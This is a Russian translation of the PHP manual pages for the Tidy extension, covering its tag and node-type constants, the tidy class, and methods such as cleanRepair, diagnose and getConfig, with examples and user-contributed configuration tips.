
Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Каждая константа вида TIDY_TAG_XXX представляет HTML-тег. Например, TIDY_TAG_A представляет тег "<a href="XX">link</a>".

В модуле определены следующие константы:

Константы Tidy, соответствующие тегам
Константа | Примечания
TIDY_TAG_UNKNOWN |
TIDY_TAG_A |
TIDY_TAG_ABBR |
TIDY_TAG_ACRONYM |
TIDY_TAG_ALIGN |
TIDY_TAG_APPLET |
TIDY_TAG_AREA |
TIDY_TAG_ARTICLE | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_ASIDE | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_AUDIO | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_B |
TIDY_TAG_BASE |
TIDY_TAG_BASEFONT |
TIDY_TAG_BDI | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_BDO |
TIDY_TAG_BGSOUND |
TIDY_TAG_BIG |
TIDY_TAG_BLINK |
TIDY_TAG_BLOCKQUOTE |
TIDY_TAG_BODY |
TIDY_TAG_BR |
TIDY_TAG_BUTTON |
TIDY_TAG_CANVAS | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_CAPTION |
TIDY_TAG_CENTER |
TIDY_TAG_CITE |
TIDY_TAG_CODE |
TIDY_TAG_COL |
TIDY_TAG_COLGROUP |
TIDY_TAG_COMMAND | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_COMMENT |
TIDY_TAG_DATALIST | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_DD |
TIDY_TAG_DEL |
TIDY_TAG_DETAILS | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_DFN |
TIDY_TAG_DIALOG | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_DIR |
TIDY_TAG_DIV |
TIDY_TAG_DL |
TIDY_TAG_DT |
TIDY_TAG_EM |
TIDY_TAG_EMBED |
TIDY_TAG_FIELDSET |
TIDY_TAG_FIGCAPTION | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_FIGURE | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_FONT |
TIDY_TAG_FOOTER | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_FORM |
TIDY_TAG_FRAME |
TIDY_TAG_FRAMESET |
TIDY_TAG_H1 |
TIDY_TAG_H2 |
TIDY_TAG_H3 |
TIDY_TAG_H4 |
TIDY_TAG_H5 |
TIDY_TAG_H6 |
TIDY_TAG_HEAD |
TIDY_TAG_HEADER | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_HGROUP | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_HR |
TIDY_TAG_HTML |
TIDY_TAG_I |
TIDY_TAG_IFRAME |
TIDY_TAG_ILAYER |
TIDY_TAG_IMG |
TIDY_TAG_INPUT |
TIDY_TAG_INS |
TIDY_TAG_ISINDEX |
TIDY_TAG_KBD |
TIDY_TAG_KEYGEN |
TIDY_TAG_LABEL |
TIDY_TAG_LAYER |
TIDY_TAG_LEGEND |
TIDY_TAG_LI |
TIDY_TAG_LINK |
TIDY_TAG_LISTING |
TIDY_TAG_MAIN | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_MAP |
TIDY_TAG_MARK | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_MARQUEE |
TIDY_TAG_MENU |
TIDY_TAG_MENUITEM | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_META |
TIDY_TAG_METER | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_MULTICOL |
TIDY_TAG_NAV | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_NOBR |
TIDY_TAG_NOEMBED |
TIDY_TAG_NOFRAMES |
TIDY_TAG_NOLAYER |
TIDY_TAG_NOSAVE |
TIDY_TAG_NOSCRIPT |
TIDY_TAG_OBJECT |
TIDY_TAG_OL |
TIDY_TAG_OPTGROUP |
TIDY_TAG_OPTION |
TIDY_TAG_OUTPUT | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_P |
TIDY_TAG_PARAM |
TIDY_TAG_PLAINTEXT |
TIDY_TAG_PRE |
TIDY_TAG_PROGRESS | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_Q |
TIDY_TAG_RB |
TIDY_TAG_RBC |
TIDY_TAG_RP |
TIDY_TAG_RT |
TIDY_TAG_RTC |
TIDY_TAG_RUBY |
TIDY_TAG_S |
TIDY_TAG_SAMP |
TIDY_TAG_SCRIPT |
TIDY_TAG_SECTION | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_SELECT |
TIDY_TAG_SERVER |
TIDY_TAG_SERVLET |
TIDY_TAG_SMALL |
TIDY_TAG_SOURCE | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_SPACER |
TIDY_TAG_SPAN |
TIDY_TAG_STRIKE |
TIDY_TAG_STRONG |
TIDY_TAG_STYLE |
TIDY_TAG_SUB |
TIDY_TAG_SUMMARY | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_SUP |
TIDY_TAG_TABLE |
TIDY_TAG_TBODY |
TIDY_TAG_TD |
TIDY_TAG_TEMPLATE | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_TEXTAREA |
TIDY_TAG_TFOOT |
TIDY_TAG_TH |
TIDY_TAG_THEAD |
TIDY_TAG_TIME | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_TITLE |
TIDY_TAG_TR |
TIDY_TAG_TRACK | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_TT |
TIDY_TAG_U |
TIDY_TAG_UL |
TIDY_TAG_VAR |
TIDY_TAG_VIDEO | Добавлено в libtidy 5.0.0. Доступно с PHP 7.4.0.
TIDY_TAG_WBR |
TIDY_TAG_XMP |

Константы Tidy, соответствующие типам узлов
Константа | Описание
TIDY_NODETYPE_ROOT | Корневой узел
TIDY_NODETYPE_DOCTYPE | Тип документа
TIDY_NODETYPE_COMMENT | HTML-комментарий
TIDY_NODETYPE_PROCINS | Инструкции по обработке в потоке вывода
TIDY_NODETYPE_TEXT | Текст
TIDY_NODETYPE_START | Открывающий тег
TIDY_NODETYPE_END | Закрывающий тег
TIDY_NODETYPE_STARTEND | Пустой тег
TIDY_NODETYPE_CDATA | Символьные данные
TIDY_NODETYPE_SECTION | Раздел XML
TIDY_NODETYPE_ASP | ASP-код
TIDY_NODETYPE_JSTE | JSTE-код
TIDY_NODETYPE_PHP | PHP-код
TIDY_NODETYPE_XMLDECL | Объявление XML

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Пример использования Tidy

User Contributed Notes

Dmitri Snytkine cms.lampcms.com 23-Dec-2009 02:26
Important notice about configuration options:
If you read the quickref on this page:
http://tidy.sourceforge.net/docs/quickref.html
you may get an idea that the boolean values for config options can be set as 'y' or 'yes' or 'n' or 'no'
but that's not true for the tidy extension in php.

Boolean values MUST be set only as true or false (without quotes or cause), otherwise tidy just ignores your configuration. It will not raise any error or warning but will just ignore your 'yes' or 'no' values.

For example, this config array will not have the desired effect:
<?php $config = array('drop-proprietary-attributes' => 'yes'); ?>

You must set option to true:
<?php $config = array('drop-proprietary-attributes' => true); ?>
Brad 03-Mar-2009 12:50
Cleaning an html fragment (OO support seems to half-arsed for now)

This will ensure all tags are closed, without adding any html/head/body tags around it.

<?php
$tidy_config = array(
                     'clean' => true,
                     'output-xhtml' => true,
                     'show-body-only' => true,
                     'wrap' => 0,

                     );

$tidy = tidy_parse_string($html_fragment, $tidy_config, 'UTF8');
$tidy->cleanRepair();
echo $tidy;
?>
nicolas [at] adaka [dot] fr 25-Nov-2008 01:33
That seems to be the correct config to symply tidy an HTML fragment (in a valid XHTML syntax) :

<?php
    $tidy_config    =    array(
        'clean'                            =>    true,
        'drop-proprietary-attributes'    =>    true,
        'output-xhtml'                    =>    true,
        'show-body-only'                =>    true,
        'word-2000'                        =>    true,
        'wrap'                            =>    '0'
    );
?>
dan [@t] authenticdesign [d_o_t] net 22-Aug-2008 10:44
If you're just looking for a quick and dirty way to output HTML code you created in a formatted way use this technique...

<?php
$html = 'a chunk of html you created';
$config = array(
            'indent'         => true,
            'output-xml'     => true,
            'input-xml'     => true,
            'wrap'         => '1000');

// Tidy
$tidy = new tidy();
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();
echo tidy_get_output($tidy);
?>

... This seemed to get the result I wanted every time.


Пример использования Tidy

Простой пример, демонстрирующий базовые возможности использования Tidy.

Пример #1 Базовые возможности использования Tidy

<?php
ob_start();
?>
<html>a html document</html>
<?php
$html = ob_get_clean();

// Установка конфигурации
$config = array(
'indent' => true,
'output-xhtml' => true,
'wrap' => 200);

// Tidy
$tidy = new tidy;
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();

// Вывод
echo $tidy;
?>

User Contributed Notes

mmeisam at gmail dot com 25-Oct-2020 11:58
If you're using tidy to clean up your HTML but only want your string formatted and not the whole html and head tag, you can use the following configuration array:

<?php
$config = [
    'indent'         => true,
    'output-xhtml'   => false,
    'show-body-only' => true
];

$tidy = new tidy;
$tidy->parseString($your_html_code, $config, 'utf8');
$tidy->cleanRepair();

echo $tidy;
?>
gk at anuary dot com 22-Feb-2014 10:56
If you are looking for HTML beautifier (a tool to indent HTML output produced by your script), Tidy extension might not be the right tool for the job.

First and foremost, you should not be using either Tidy or alternatives (e.g. HTML Purifier) in the production code. HTML post procession is relatively resource demanding task, esp. if the underlying implementation relies on DOM API. However, beyond performance, HTML beautification in production might hide far more serious output issues that will be hard to trace back, because output will not align with the input.

If you are indenting to use indentation (consistent, readable formatting of the output) for development purposes only then you might consider implementation that relies on regular expression. I have written, https://github.com/gajus/dindent for this purpose. The difference between earlier mentioned implementation and the latter is that regular expression based implementation does not attempt to sanitise, validate or otherwise manipulate your output beyond ensuring proper indentation.
i dot c dot lovett at NOSPAM dot gmail dot com 12-Mar-2012 08:22
Anyone trying to specify "indent: auto" as documented at http://tidy.sourceforge.net/docs/quickref.html#indent

<?php
$tidy_options = array('indent' => 'auto'); // WILL NOT WORK
$tidy_options = array('indent' => 2); // equivalent of auto

$tidy = new Tidy();
$tidy->parseString($html, $tidy_options);
?>


Класс tidy

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

Введение

HTML-узел в HTML-файле, обнаруженный Tidy.

Обзор классов

class tidy {
/* Свойства */
public ?string $errorBuffer = null;
public ?string $value = null;
/* Методы */
public __construct(
?string $filename = null,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
)
public body(): ?tidyNode
public cleanRepair(): bool
public diagnose(): bool
public getConfig(): array
public getHtmlVer(): int
public getOpt(string $option): string|int|bool
public getOptDoc(string $option): string|false
public getRelease(): string
public getStatus(): int
public head(): ?tidyNode
public html(): ?tidyNode
public isXhtml(): bool
public isXml(): bool
public parseFile(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): bool
public parseString(string $string, array|string|null $config = null, ?string $encoding = null): bool
public static repairFile(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): string|false
public static repairString(string $string, array|string|null $config = null, ?string $encoding = null): string|false
public root(): ?tidyNode
}

Свойства

value

HTML-представление узла, включая окружающие теги.

Содержание

  • tidy::body — Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева
  • tidy::cleanRepair — Выполнить настроенную очистку и восстановление разобранной разметки
  • tidy::__construct — Создаёт новый tidy-объект
  • tidy::diagnose — Запуск настроенной диагностики для разобранной и восстановленной разметки
  • tidy::$errorBuffer — Возвращает предупреждения и ошибки, возникшие при разборе указанного документа
  • tidy::getConfig — Получает текущую конфигурацию Tidy
  • tidy::getHtmlVer — Получает обнаруженную HTML версию для указанного документа
  • tidy::getOpt — Возвращает значение указанного параметра конфигурации для документа tidy
  • tidy::getOptDoc — Возвращает описание для опции с указанным названием
  • tidy::getRelease — Получить дату релиза (версию) для библиотеки Tidy
  • tidy::getStatus — Получает статус указанного документа
  • tidy::head — Возвращает объект tidyNode, начиная с тега <head> разобранного tidy-дерева
  • tidy::html — Возвращает объект tidyNode, начиная с тега <html> разобранного tidy-дерева
  • tidy::isXhtml — Определяет, является ли документ XHTML-документом
  • tidy::isXml — Определяет, является ли документ общим XML-документом (не HTML/XHTML)
  • tidy::parseFile — Разбор разметки в файле или URI
  • tidy::parseString — Разбор документа, хранимого в строке
  • tidy::repairFile — Восстанавливает разметку файла и возвращает его в виде строки
  • tidy::repairString — Восстанавливает строку, используя по возможности конфигурационный файл
  • tidy::root — Возвращает объект tidyNode, представляющий вершину разобранного tidy-дерева

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева

  • « tidy
  • tidy::cleanRepair »
  • PHP Manual
  • tidy
  • Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева

tidy::body

tidy_get_body

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0)

tidy::body -- tidy_get_body — Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева

Описание

Объектно-ориентированный стиль

public tidy::body(): ?tidyNode

Процедурный стиль

tidy_get_body(tidy $tidy): ?tidyNode

Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева.

Примеры

Пример #1 Пример использования tidy::getBody()

<?php
$html = '
<html>
<head>
<title>тест</title>
</head>
<body>
<p>параграф</p>
</body>
</html>';

$tidy = tidy_parse_string($html);

$body = $tidy->Body();
echo $body->value;
?>

Результат выполнения данного примера:

<body>
<p>параграф</p>
</body>

Смотрите также

  • tidy::head() - Возвращает объект tidyNode, начиная с тега <head> разобранного tidy-дерева
  • tidy::html() - Возвращает объект tidyNode, начиная с тега <html> разобранного tidy-дерева

User Contributed Notes

There are no user contributed notes for this page.


Выполнить настроенную очистку и восстановление разобранной разметки

  • « tidy::body
  • tidy::__construct »
  • PHP Manual
  • tidy
  • Выполнить настроенную очистку и восстановление разобранной разметки

tidy::cleanRepair

tidy_clean_repair

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::cleanRepair -- tidy_clean_repair — Выполнить настроенную очистку и восстановление разобранной разметки

Описание

Объектно-ориентированный стиль

public tidy::cleanRepair(): bool

Процедурный стиль

tidy_clean_repair(tidy $tidy): bool

Функция очищает и восстанавливает полученный tidy-объект tidy.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования tidy::cleanrepair()

<?php
$html = '<p>тест</I>';

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

echo $tidy;
?>

Результат выполнения данного примера:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>тест</p>
</body>
</html>

Смотрите также

  • tidy::repairFile() - Восстанавливает разметку файла и возвращает его в виде строки
  • tidy::repairString() - Восстанавливает строку, используя по возможности конфигурационный файл

User Contributed Notes

steven at nevvix dot com 07-Aug-2018 05:30
<?php
/**
 * UTF-8 HTML5-compatible Tidy
 *
 * @param string $html
 * @param array $config
 * @param string $encoding
 * @link http://tidy.sourceforge.net/docs/quickref.html
 */
function tidy_html5($html, array $config = [], $encoding = 'utf8') {
    if (!extension_loaded('tidy')) {
        throw new \Exception("Tidy extension is missing!");
        return;
    }
    $config += [
        'clean'       => TRUE,
        'doctype'     => 'omit',
        'indent'      => 2, // auto
        'output-html' => TRUE,
        'tidy-mark'   => FALSE,
        'wrap'        => 0,
        // HTML5 tags
        'new-blocklevel-tags' => 'article aside audio bdi canvas details dialog figcaption figure footer header hgroup main menu menuitem nav section source summary template track video',
        'new-empty-tags' => 'command embed keygen source track wbr',
        'new-inline-tags' => 'audio command datalist embed keygen mark menuitem meter output progress source time video wbr',
    ];
    $html = tidy_parse_string($html, $config, $encoding);
    tidy_clean_repair($html);
    return '<!DOCTYPE html>' . PHP_EOL . $html;
}

$html = '<z/><p><a href="#">Link</a></p><p>Second para</p>';
echo tidy_html5($html);

Output:
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <p><a href="#">Link</a></p>
  <p>Second para</p>
</body>
</html>


Создаёт новый tidy-объект

  • « tidy::cleanRepair
  • tidy::diagnose »
  • PHP Manual
  • tidy
  • Создаёт новый tidy-объект

tidy::__construct

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::__construct — Создаёт новый tidy-объект

Описание

public tidy::__construct(
?string $filename = null,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
)

Создаёт новый tidy-объект.

Список параметров

filename

Если задан параметр filename, то эта функция прочитает файл и инициализирует объект с этим файлом, действуя как функция tidy_parse_file().

config

Настройки config могут быть заданы в виде массива или строки. Если задана строка, то это интерпретируется как имя файла конфигурации, в противном случае, параметр интерпретируется как сами настройки.

Описание каждого параметра можно найти тут: » http://api.html-tidy.org/#quick-reference.

encoding

Параметр encoding устанавливает кодировку для входных/выходных документов. Возможные значения: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, и shiftjis.

useIncludePath

Поиск файла в include_path.

Список изменений

Версия | Описание
8.0.0 | filename, config, encoding и useIncludePath теперь допускают значение null.

Примеры

Пример #1 Пример использования tidy::__construct()

<?php

$html = <<< HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>параграф <bt />
текст</p>
</body></html>

HTML;

$tidy = new tidy();
$tidy->ParseString($html);

$tidy->cleanRepair();

if ($tidy->errorBuffer) {
echo "Были обнаружены следующие ошибки:\n";
echo $tidy->errorBuffer;
}

?>

Результат выполнения данного примера:

Были обнаружены следующие ошибки:
line 8 column 14 - Error: <bt> is not recognized!
line 8 column 14 - Warning: discarding unexpected <bt>

Смотрите также

  • tidy::parseFile() - Разбор разметки в файле или URI
  • tidy::parseString() - Разбор документа, хранимого в строке

User Contributed Notes

There are no user contributed notes for this page.


Запуск настроенной диагностики для разобранной и восстановленной разметки

  • « tidy::__construct
  • tidy::$errorBuffer »
  • PHP Manual
  • tidy
  • Запуск настроенной диагностики для разобранной и восстановленной разметки

tidy::diagnose

tidy_diagnose

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::diagnose -- tidy_diagnose — Запуск настроенной диагностики для разобранной и восстановленной разметки

Описание

Объектно-ориентированный стиль

public tidy::diagnose(): bool

Процедурный стиль

tidy_diagnose(tidy $tidy): bool

Выполняет диагностические тесты полученного tidy-объекта tidy, добавляя некоторую информацию о документе в буфер ошибок.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования tidy::diagnose()

<?php

$html = <<< HTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<p>параграф</p>
HTML;

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

// обратите внимание на разницу между двумя выводами
echo $tidy->errorBuffer . "\n";

$tidy->diagnose();
echo $tidy->errorBuffer;

?>

Результат выполнения данного примера:

line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
Info: Doctype given is "-//W3C//DTD XHTML 1.0 Strict//EN"
Info: Document content looks like XHTML 1.0 Strict
2 warnings, 0 errors were found!

Смотрите также

  • tidy::errorBuffer()

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предупреждения и ошибки, возникшие при разборе указанного документа

  • « tidy::diagnose
  • tidy::getConfig »
  • PHP Manual
  • tidy
  • Возвращает предупреждения и ошибки, возникшие при разборе указанного документа

tidy::$errorBuffer

tidy_get_error_buffer

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::$errorBuffer -- tidy_get_error_buffer — Возвращает предупреждения и ошибки, возникшие при разборе указанного документа

Описание

Объектно-ориентированный стиль (property):

public string $tidy->errorBuffer;

Процедурный стиль:

tidy_get_error_buffer(tidy $tidy): string|false

Возвращает предупреждения и ошибки, возникшие при разборе указанного документа.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает буфер ошибки в виде строки или false, если буфер пустой.

Примеры

Пример #1 Пример использования tidy_get_error_buffer()

<?php
$html = '<p>параграф</p>';

$tidy = tidy_parse_string($html);

echo tidy_get_error_buffer($tidy);
/* или в ООП стиле: */
echo $tidy->errorBuffer;
?>

Результат выполнения данного примера:

line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 1 - Warning: inserting missing 'title' element

Смотрите также

  • tidy_access_count() - Возвращает число доступных предупреждений Tidy, встретившихся в рассмотренном документе
  • tidy_error_count() - Возвращает число ошибок Tidy, встретившихся при рассмотрении документа
  • tidy_warning_count() - Возвращает число Tidy-предупреждений, встреченных в указанном документе

User Contributed Notes

david dot tulloh at infaze dot com dot au 11-May-2005 10:42
The following line will convert string error into a two dimensional array containing the components from the error string for each line.  It will match Error, Warning, Info and Access error types.  You can then do something useful with the output.

<?php
preg_match_all('/^(?:line (\d+) column (\d+) - )?(\S+): (?:\[((?:\d+\.?){4})]:)
?(.*?)$/m', $tidy->errorBuffer, $tidy_errors, PREG_SET_ORDER);
?>

And a small tip, always run the error messages through htmlentities when outputting to convert the tags in the error to a viewable form.


Получает текущую конфигурацию Tidy

  • « tidy::$errorBuffer
  • tidy::getHtmlVer »
  • PHP Manual
  • tidy
  • Получает текущую конфигурацию Tidy

tidy::getConfig

tidy_get_config

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.7.0)

tidy::getConfig -- tidy_get_config — Получает текущую конфигурацию Tidy

Описание

Объектно-ориентированный стиль

public tidy::getConfig(): array

Процедурный стиль

tidy_get_config(tidy $tidy): array

Получает список используемых опций конфигурации в указанном объекте tidy tidy.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает массив опций конфигурации.

Информацию о каждом параметре можно получить тут: » http://api.html-tidy.org/#quick-reference.

Примеры

Пример #1 Пример использования tidy::getConfig()

<?php
$html = '<p>тест</p>';
$config = array('indent' => TRUE,
'output-xhtml' => TRUE,
'wrap' => 200);

$tidy = tidy_parse_string($html, $config);

print_r($tidy->getConfig());
?>

Результат выполнения данного примера:

Array
(
    [indent-spaces] => 2
    [wrap] => 200
    [tab-size] => 8
    [char-encoding] => 1
    [input-encoding] => 3
    [output-encoding] => 1
    [newline] => 1
    [doctype-mode] => 1
    [doctype] =>
    [repeated-attributes] => 1
    [alt-text] =>
    [slide-style] =>
    [error-file] =>
    [output-file] =>
    [write-back] =>
    [markup] => 1
    [show-warnings] => 1
    [quiet] =>
    [indent] => 1
    [hide-endtags] =>
    [input-xml] =>
    [output-xml] => 1
    [output-xhtml] => 1
    [output-html] =>
    [add-xml-decl] =>
    [uppercase-tags] =>
    [uppercase-attributes] =>
    [bare] =>
    [clean] =>
    [logical-emphasis] =>
    [drop-proprietary-attributes] =>
    [drop-font-tags] =>
    [drop-empty-paras] => 1
    [fix-bad-comments] => 1
    [break-before-br] =>
    [split] =>
    [numeric-entities] =>
    [quote-marks] =>
    [quote-nbsp] => 1
    [quote-ampersand] => 1
    [wrap-attributes] =>
    [wrap-script-literals] =>
    [wrap-sections] => 1
    [wrap-asp] => 1
    [wrap-jste] => 1
    [wrap-php] => 1
    [fix-backslash] => 1
    [indent-attributes] =>
    [assume-xml-procins] =>
    [add-xml-space] =>
    [enclose-text] =>
    [enclose-block-text] =>
    [keep-time] =>
    [word-2000] =>
    [tidy-mark] =>
    [gnu-emacs] =>
    [gnu-emacs-file] =>
    [literal-attributes] =>
    [show-body-only] =>
    [fix-uri] => 1
    [lower-literals] => 1
    [hide-comments] =>
    [indent-cdata] =>
    [force-output] => 1
    [show-errors] => 6
    [ascii-chars] => 1
    [join-classes] =>
    [join-styles] => 1
    [escape-cdata] =>
    [language] =>
    [ncr] => 1
    [output-bom] => 2
    [replace-color] =>
    [css-prefix] =>
    [new-inline-tags] =>
    [new-blocklevel-tags] =>
    [new-empty-tags] =>
    [new-pre-tags] =>
    [accessibility-check] => 0
    [vertical-space] =>
    [punctuation-wrap] =>
    [merge-divs] => 1
)

Смотрите также

  • tidy_reset_config()
  • tidy_save_config()

User Contributed Notes

Anonymous 05-Feb-2020 07:07
Beware of deprecated config options.

For example 'drop-font-tags' was deprecated and removed in newer versions of Tidy.

The URL provided for options reference is wrong, the proper API reference with a list of options per Tidy version is here: http://api.html-tidy.org/


Получает обнаруженную HTML версию для указанного документа

  • « tidy::getConfig
  • tidy::getOpt »
  • PHP Manual
  • tidy
  • Получает обнаруженную HTML версию для указанного документа

tidy::getHtmlVer

tidy_get_html_ver

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getHtmlVer -- tidy_get_html_ver — Получает обнаруженную HTML версию для указанного документа

Описание

Объектно-ориентированный стиль

public tidy::getHtmlVer(): int

Процедурный стиль

tidy_get_html_ver(tidy $tidy): int

Возвращает обнаруженную HTML версию для указанного объекта tidy tidy.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает обнаруженную HTML версию.

Внимание

Функция ещё не реализована в самом Tidylib, поэтому всегда возвращается 0.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение указанного параметра конфигурации для документа tidy

  • « tidy::getHtmlVer
  • tidy::getOptDoc »
  • PHP Manual
  • tidy
  • Возвращает значение указанного параметра конфигурации для документа tidy

tidy::getOpt

tidy_getopt

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getOpt -- tidy_getopt — Возвращает значение указанного параметра конфигурации для документа tidy

Описание

Объектно-ориентированный стиль

public tidy::getOpt(string $option): string|int|bool

Процедурный стиль

tidy_getopt(tidy $tidy, string $option): string|int|bool

Возвращает значение указанного параметра option для указанного объекта tidy tidy.

Список параметров

tidy

Объект Tidy.

option

Вы можете найти список из каждой опции конфигурации с типом здесь: » http://api.html-tidy.org/#quick-reference.

Возвращаемые значения

Возвращает значение указанной опции option. Тип возвращаемого значения зависит от типа указанной опции.

Примеры

Пример #1 Пример использования tidy_getopt()

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Заголовок</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

$config = array('accessibility-check' => 3,
'alt-text' => 'какой-то текст');

$tidy = new tidy();
$tidy->parseString($html, $config);

var_dump($tidy->getOpt('accessibility-check')); //integer
var_dump($tidy->getOpt('lower-literals')); //boolean
var_dump($tidy->getOpt('alt-text')); //string

?>

Результат выполнения данного примера:

int(3)
bool(true)
string(9) "какой-то текст"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает описание для опции с указанным названием

  • « tidy::getOpt
  • tidy::getRelease »
  • PHP Manual
  • tidy
  • Возвращает описание для опции с указанным названием

tidy::getOptDoc

tidy_get_opt_doc

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

tidy::getOptDoc -- tidy_get_opt_doc — Возвращает описание для опции с указанным названием

Описание

Объектно-ориентированный стиль

public tidy::getOptDoc(string $option): string|false

Процедурный стиль

tidy_get_opt_doc(tidy $tidy, string $option): string|false

Функция tidy_get_opt_doc() возвращает описание для опции с указанным названием.

Замечание:

Для использования этой функции вам потребуется библиотека libtidy минимум от 25 Апреля 2005 г.

Список параметров

tidy

Объект Tidy.

optname

Название опции

Возвращаемые значения

Возвращается строка существующей опции и имеющееся описание, в противном случае возвращается false.

Примеры

Пример #1 Печать всех опций вместе с описанием и значением по умолчанию

<?php

$tidy = new tidy;
$config = $tidy->getConfig();

ksort($config);

foreach ($config as $opt => $val) {

if (!$doc = $tidy->getOptDoc($opt))
$doc = 'документация не существует!';

$val = ($tidy->getOpt($opt) === true) ? 'true' : $val;
$val = ($tidy->getOpt($opt) === false) ? 'false' : $val;

echo "<p><b>$opt</b> (default: '$val')<br />".
"$doc</p><hr />\n";
}

?>

Смотрите также

  • tidy::getconfig() - Получает текущую конфигурацию Tidy
  • tidy::getopt() - Возвращает значение указанного параметра конфигурации для документа tidy

User Contributed Notes

There are no user contributed notes for this page.


Получить дату релиза (версию) для библиотеки Tidy

  • « tidy::getOptDoc
  • tidy::getStatus »
  • PHP Manual
  • tidy
  • Получить дату релиза (версию) для библиотеки Tidy

tidy::getRelease

tidy_get_release

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getRelease -- tidy_get_release — Получить дату релиза (версию) для библиотеки Tidy

Описание

Объектно-ориентированный стиль

public tidy::getRelease(): string

Процедурный стиль

tidy_get_release(): string

Получает дату релиза для библиотеки Tidy.

